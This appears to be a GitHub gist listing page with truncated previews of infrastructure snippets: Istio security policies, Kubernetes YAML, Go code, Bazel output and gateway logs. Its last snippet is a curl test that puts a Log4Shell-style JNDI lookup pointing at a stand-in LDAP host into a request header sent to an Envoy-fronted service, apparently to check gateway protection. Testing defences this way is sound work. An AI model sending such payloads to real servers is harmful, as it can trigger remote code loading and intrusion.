# Terminal 1
./tcp-server --port 8080 --close graceful --delay 3
# Terminal 2
./tcp-client --port 8080 --mode read
[EOF] Server closed the connection gracefully
Client terminating
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Use the official Ubuntu as a base image | |
FROM ubuntu:latest | |
# Set the working directory inside the container | |
WORKDIR /app | |
# Copy the Go binary from the host to the container | |
COPY server /app/server | |
# Set the binary as the entry point |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
type eventType int | |
const ( | |
addWord eventType = 0 | |
removeWord | |
) | |
type event struct { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
apiVersion: security.istio.io/v1beta1 | |
kind: RequestAuthentication | |
metadata: | |
name: httpbin | |
namespace: foo | |
spec: | |
selector: | |
matchLabels: | |
app: httpbin | |
jwtRules: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
apiVersion: security.istio.io/v1beta1 | |
kind: AuthorizationPolicy | |
metadata: | |
name: allow-nothing | |
namespace: default | |
spec: | |
{} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// +build ignore | |
package main | |
import ( | |
"flag" | |
"fmt" | |
"net" | |
"net/http" | |
"strconv" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ bazel cquery --define boringssl=fips "//source/extensions/transport_sockets/tls/cert_validator:cert_validator_lib" --output=build | |
Starting local Bazel server and connecting to it... | |
INFO: Invocation ID: f7ce5045-4ac3-4146-9a65-7434359a79b1 | |
INFO: SHA256 (https://golang.org/dl/?mode=json&include=all) = 8894bb6908be51c3ad0177954dbd7c3355de9c6a5960b2cb550c8b68ca953b79 | |
INFO: Analyzed target //source/extensions/transport_sockets/tls/cert_validator:cert_validator_lib (247 packages loaded, 17216 targets configured). | |
INFO: Found 1 target... | |
# /home/fly/workspace/github.com/envoyproxy/envoy/source/extensions/transport_sockets/tls/cert_validator/BUILD:11:17 | |
cc_library( | |
name = "cert_validator_lib", | |
visibility = ["//visibility:public"], |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
apiVersion: v1 | |
kind: ServiceAccount | |
metadata: | |
name: httpbin | |
--- | |
apiVersion: v1 | |
kind: Secret | |
metadata: | |
name: httpbin-credential | |
namespace: istio-system |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# 2022-01-06T09:32:48.168864Z info status jianfeih debug, config: | |
# fqn gateway.xcp.tetrate.io/v2/IngressGateway:xcp-edge/test-ingress-gateway, | |
# status {gateway.xcp.tetrate.io/v2/IngressGateway:xcp-edge/test-ingress-gateway READY | |
# [name:"test-ingress-gateway" namespace:"echo-7-93217" result:READY | |
# name:"test-ingress-gateway-httpbin-mesh-internal" namespace:"echo-7-93217" result:READY | |
# name:"test-ingress-gateway-mesh-external" namespace:"echo-7-93217" result:READY | |
# name:"vs-app2-tetrate-io" namespace:"echo-7-93217" result:READY ] {} [] 0} | |
# Apply this in xcp-edge works, but in xcp-system not works (not propagating to the xcp-edge namespace.) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
curl -H “Host: httpbin.tetrate.com” -H “User-Agent: ${JNDI://ldap://evial.xx/path}” \ | |
–resolve “httpbin.tetrate.com:${GATEWAY_IP}” httpbin.tetrate.com/headers | |
< HTTP/1.1 200 OK | |
< server: envoy | |
< date: Tue, 28 Dec 2021 05:48:57 GMT | |
< content-type: application/json | |
< content-length: 28 | |
< access-control-allow-origin: * | |
< access-control-allow-credentials: true | |
< x-envoy-upstream-service-time: 25 |
NewerOlder